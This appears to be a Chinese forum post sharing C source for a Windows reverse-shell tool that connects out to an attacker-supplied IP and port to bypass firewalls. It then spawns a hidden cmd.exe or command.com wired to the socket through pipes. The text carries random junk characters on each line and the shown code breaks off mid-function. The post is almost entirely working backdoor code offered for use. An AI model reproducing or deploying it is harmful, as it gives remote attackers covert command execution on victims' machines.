这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C@L:m1fz
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/* ============================== `r iK[@
Rebound port in Windows NT ( UV8M\
By wind,2006/7 s?5(E}
===============================*/ TlZ|E '_C
#include /\_ s
#include #f@sq5pTO
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#pragma comment(lib,"wsock32.lib") 4jrY3gyBX
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void OutputShell(); cQUmcK/,
SOCKET sClient; u<\/T&S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #x&1kHu<
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void main(int argc,char **argv) P{)eZINlE
{ pUr.<yc&u
WSADATA stWsaData; TP oP%Yj"
int nRet; 70m}+R(`
SOCKADDR_IN stSaiClient,stSaiServer; F,`y_71<
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if(argc != 3) o$YL\ <qp
{ 3%xj-7z
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printf("Useage:\n\rRebound DestIP DestPort\n"); SVaC)O(
return; hM(|d@)
} >+fet ,
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,?7URx*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KaHjL&!
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stSaiClient.sin_family = AF_INET; vh+IhGi
stSaiClient.sin_port = htons(0); `hL16S
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5>JrTO5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t8 #&bUX
{ X'WbS
printf("Bind Socket Failed!\n"); !B(6
return; m4|9p{E
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stSaiServer.sin_family = AF_INET; 2rf-pdOvG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hn-9l1~!h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TgVvp0F;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qv=i eU
{ QVI4<Rxg
printf("Connect Error!"); $GYcZN&
return; W[:
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} {KE858
OutputShell(); 3j(GcR9
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void OutputShell() U*=ebZno
{ uG2Hzav
char szBuff[1024]; J(VJMS;_
SECURITY_ATTRIBUTES stSecurityAttributes; uJm9h(xq
OSVERSIONINFO stOsversionInfo; a}+|2k_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; soXeHjNl
STARTUPINFO stStartupInfo; =zt@*o{F
char *szShell; )avli@W-3j
PROCESS_INFORMATION stProcessInformation; *)ZDN~z7o
unsigned long lBytesRead; sV'(y>PP%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z'JtH^^Z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Uo<d]4p $
stSecurityAttributes.lpSecurityDescriptor = 0; [F/>pL5U$
stSecurityAttributes.bInheritHandle = TRUE; gEMxK2MNXj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NB;8 e>8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P|_>M SO1'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,[%KSyH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lh&Q{t(+8
stStartupInfo.wShowWindow = SW_HIDE; M;,Q8z%
stStartupInfo.hStdInput = hReadPipe; ]i)m
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (u+3{Eb
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GetVersionEx(&stOsversionInfo); &[}bHX/
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switch(stOsversionInfo.dwPlatformId) 0p:FAvvNI
{ \vXo~ _-&
case 1: oEd+
szShell = "command.com"; +dcBh Dq
break; >fPa>[_1
default: 9"KEHf!
szShell = "cmd.exe";
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